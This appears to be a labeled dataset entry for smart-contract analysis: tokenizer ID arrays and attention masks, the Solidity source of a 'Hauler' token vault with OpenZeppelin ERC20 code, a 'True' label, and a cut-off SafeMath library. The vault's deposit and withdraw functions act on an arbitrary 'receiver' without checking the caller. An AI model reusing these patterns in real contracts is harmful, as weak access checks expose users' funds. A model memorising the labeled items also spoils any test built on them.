1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../library/AddArrayLib.sol";
import "../interfaces/ITradeExecutor.sol";
import "../interfaces/IHauler.sol";
contract Hauler is IHauler, ERC20 {
using AddrArrayLib for AddrArrayLib.Addresses;
// TODO Define this arbitrary limit
uint constant BLOCK_LIMIT = 50;
uint constant DUST_LIMIT = 10**6;
AddrArrayLib.Addresses tradeExecutorsList;
address public immutable override wantToken;
uint8 private immutable tokenDecimals;
address public override keeper;
address public override governance;
address pendingGovernance;
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _wantToken, address _keeper, address _governance) ERC20(_name, _symbol) {
tokenDecimals = _decimals;
wantToken = _wantToken;
keeper = _keeper;
governance = _governance;
}
function decimals() public view override returns (uint8) {
return tokenDecimals;
}
function deposit(uint amountIn, address receiver) public override returns (uint256 shares) {
require(amountIn > 0);
require(receiver != address(0));
if (totalSupply() > 0) {
shares = totalSupply() * amountIn / totalHaulerFunds();
} else {
shares = amountIn;
}
IERC20(wantToken).transferFrom(receiver, address(this), amountIn);
_mint(receiver, shares);
}
function withdraw(uint sharesIn, address receiver) public override returns (uint256 amountOut) {
require(sharesIn > 0);
require(receiver != address(0));
amountOut = sharesIn * totalHaulerFunds() / totalSupply();
_burn(receiver, sharesIn);
IERC20(wantToken).transfer(receiver, amountOut);
}
function totalHaulerFunds() public view returns (uint) {
return IERC20(wantToken).balanceOf(address(this)) + totalExecutorFunds();
}
function depositIntoExecutor(address _executor, uint _amount) public isActiveExecutor(_executor) onlyKeeper {
require(_amount > 0);
IERC20(wantToken).transfer(_executor, _amount);
}
function withdrawFromExecutor(address _executor, uint _amount) public isActiveExecutor(_executor) onlyKeeper {
require(_amount > 0);
IERC20(wantToken).transferFrom(_executor, address(this), _amount);
}
function totalExecutors() public view returns (uint) {
return tradeExecutorsList.size();
}
function executorByIndex(uint _index) public view returns (address) {
require(_index < totalExecutors(), 'Index out of bounds');
return tradeExecutorsList.getAddressAtIndex(_index);
}
function totalExecutorFunds() public view returns (uint) {
uint totalFunds = 0;
for (uint i = 0; i < totalExecutors(); i++) {
address executor = executorByIndex(i);
(uint executorFunds, uint blockUpdated) = ITradeExecutor(executor).totalFunds();
require (block.number <= blockUpdated + BLOCK_LIMIT, 'Executor funds are not up to date');
totalFunds += executorFunds;
}
return totalFunds;
}
/// EXECUTOR MANAGEMENT ///
function addExecutor(address _tradeExecutor) public isValidAddress(_tradeExecutor) onlyKeeper {
tradeExecutorsList.pushAddress(_tradeExecutor);
}
function removeExecutor(address _tradeExecutor) public isValidAddress(_tradeExecutor) onlyKeeper {
(uint executorFunds, uint blockUpdated) = ITradeExecutor(_tradeExecutor).totalFunds();
require (block.number <= blockUpdated + BLOCK_LIMIT, 'Executor funds are not up to date');
require (executorFunds < DUST_LIMIT, 'Executor not empty');
tradeExecutorsList.removeAddress(_tradeExecutor);
}
function setGovernance(address _governance) public onlyGovernance{
pendingGovernance = _governance;
}
function acceptGovernance() public {
require(msg.sender == pendingGovernance);
governance = pendingGovernance;
}
function setKeeper(address _keeper) public onlyGovernance {
keeper = _keeper;
}
modifier onlyGovernance {
require(msg.sender == governance, "Only governance call");
_;
}
modifier onlyKeeper {
require(msg.sender == keeper, "Only keeper call");
_;
}
modifier isValidAddress(address _tradeExecutor) {
require(_tradeExecutor!= address(0), 'Invalid address');
_;
}
modifier isActiveExecutor(address _tradeExecutor) {
require(tradeExecutorsList.exists(_tradeExecutor), "Executor is not active or doesnt exist");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library AddrArrayLib {
using AddrArrayLib for Addresses;
struct Addresses {
address[] _items;
}
/**
* @notice push an address to the array
* @dev if the address already exists, it will not be added again
* @param self Storage array containing address type variables
* @param element the element to add in the array
*/
function pushAddress(Addresses storage self, address element) internal {
if (!exists(self, element)) {
self._items.push(element);
}
}
/**
* @notice remove an address from the array
* @dev finds the element, swaps it with the last element, and then deletes it;
* returns a boolean whether the element was found and deleted
* @param self Storage array containing address type variables
* @param element the element to remove from the array
*/
function removeAddress(Addresses storage self, address element) internal {
for (uint i = 0; i < self.size(); i++) {
if (self._items[i] == element) {
self._items[i] = self._items[self.size() - 1];
self._items.pop();
}
}
}
/**
* @notice get the address at a specific index from array
* @dev revert if the index is out of bounds
* @param self Storage array containing address type variables
* @param index the index in the array
*/
function getAddressAtIndex(Addresses memory self, uint256 index) internal view returns (address) {
require(index < size(self), "the index is out of bounds");
return self._items[index];
}
/**
* @notice get the size of the array
* @param self Storage array containing address type variables
*/
function size(Addresses memory self) internal view returns (uint256) {
return self._items.length;
}
/**
* @notice check if an element exist in the array
* @param self Storage array containing address type variables
* @param element the element to check if it exists in the array
*/
function exists(Addresses memory self, address element) internal view returns (bool) {
for (uint i = 0; i < self.size(); i++) {
if (self._items[i] == element) {
return true;
}
}
return false;
}
/**
* @notice get the array
* @param self Storage array containing address type variables
*/
function getAllAddresses(Addresses memory self) internal view returns(address[] memory) {
return self._items;
}
}
//SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
interface ITradeExecutor {
struct ActionStatus {
bool inProcess;
address from;
}
function depositStatus() external returns (bool, address);
function withdrawalStatus() external returns (bool, address);
function initiateDeposit(bytes calldata _data) external;
function confirmDeposit() external;
function initateWithdraw(bytes calldata _data) external;
function confirmWithdraw() external;
function totalFunds() view external returns(uint256 posValue, uint256 lastUpdatedBlock);
}
/// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
interface IHauler {
function keeper() external view returns (address);
function governance() external view returns (address);
function wantToken() external view returns (address);
function deposit(uint256 amountIn, address receiver)
external
returns (uint256 shares);
function withdraw(uint256 sharesIn, address receiver)
external
returns (uint256 amountOut);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | True | [
101,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
3075,
1013,
5587,
2906,
9447,
29521,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
2009,
13662,
10288,
8586,
16161,
2099,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
1045,
3270,
9307,
2099,
1012,
14017,
1000,
1025,
3206,
14655,
2121,
2003,
1045,
3270,
9307,
2099,
1010,
9413,
2278,
11387,
1063,
2478,
5587,
19848,
9447,
29521,
2005,
5587,
19848,
9447,
29521,
1012,
11596,
1025,
1013,
1013,
28681,
2080,
9375,
2023,
15275,
5787,
21318,
3372,
5377,
3796,
1035,
5787,
1027,
2753,
1025,
21318,
3372,
5377,
6497,
1035,
5787,
1027,
2184,
1008,
1008,
1020,
1025,
5587,
19848,
9447,
29521,
1012,
11596,
3119,
10288,
8586,
16161,
2869,
9863,
1025,
4769,
2270,
10047,
28120,
3085,
2058,
15637,
2215,
18715,
2368,
1025,
21318,
3372,
2620,
2797,
10047,
28120,
3085,
19204,
3207,
6895,
9067,
2015,
1025,
4769,
2270,
2058,
15637,
10684,
1025,
4769,
2270,
2058,
15637,
10615,
1025,
4769,
14223,
3995,
23062,
6651,
1025,
9570,
2953,
1006,
5164,
3638,
1035,
2171,
1010,
5164,
3638,
1035,
6454,
1010,
21318,
3372,
2620,
1035,
26066,
2015,
1010,
4769,
1035,
2215,
18715,
2368,
1010,
4769,
1035,
10684,
1010,
4769,
1035,
10615,
1007,
9413,
2278,
11387,
1006,
1035,
2171,
1010,
1035,
6454,
1007,
1063,
19204,
3207,
6895,
9067,
2015,
1027,
1035,
26066,
2015,
1025,
2215,
18715,
2368,
1027,
1035,
2215,
18715,
2368,
1025,
10684,
1027,
1035,
10684,
1025,
10615,
1027,
1035,
10615,
1025,
1065,
3853,
26066,
2015,
1006,
1007,
2270,
3193,
2058,
15637,
5651,
1006,
21318,
3372,
2620,
1007,
1063,
2709,
19204,
3207,
6895,
9067,
2015,
1025,
1065,
3853,
12816,
1006,
21318,
3372,
3815,
2378,
1010,
4769,
8393,
1007,
2270,
2058,
15637,
5651,
1006,
21318,
3372,
17788,
2575,
6661,
1007,
1063,
5478,
1006,
3815,
2378,
1028,
1014,
1007,
1025,
5478,
1006,
8393,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2065,
1006,
21948,
6279,
22086,
1006,
1007,
1028,
1014,
1007,
1063,
6661,
1027,
21948,
6279,
22086,
1006,
1007,
1008,
3815,
2378,
1013,
2561,
3270,
9307,
12881,
26698,
1006,
1007,
1025,
1065,
2842,
1063,
6661,
1027,
3815,
2378,
1025,
1065,
29464,
11890,
11387,
1006,
2215,
18715,
2368,
1007,
1012,
4651,
19699,
5358,
1006,
8393,
1010,
4769,
1006,
2023,
1007,
1010,
3815,
2378,
1007,
1025,
1035,
12927,
1006,
8393,
1010,
6661,
1007,
1025,
1065,
3853,
10632,
1006,
21318,
3372,
6661,
2378,
1010,
4769,
8393,
1007,
2270,
2058,
15637,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
5833,
1007,
1063,
5478,
1006,
6661,
2378,
1028,
1014,
1007,
1025,
5478,
1006,
8393,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
3815,
5833,
1027,
6661,
2378,
1008,
2561,
3270,
9307,
12881,
26698,
1006,
1007,
1013,
21948,
6279,
22086,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
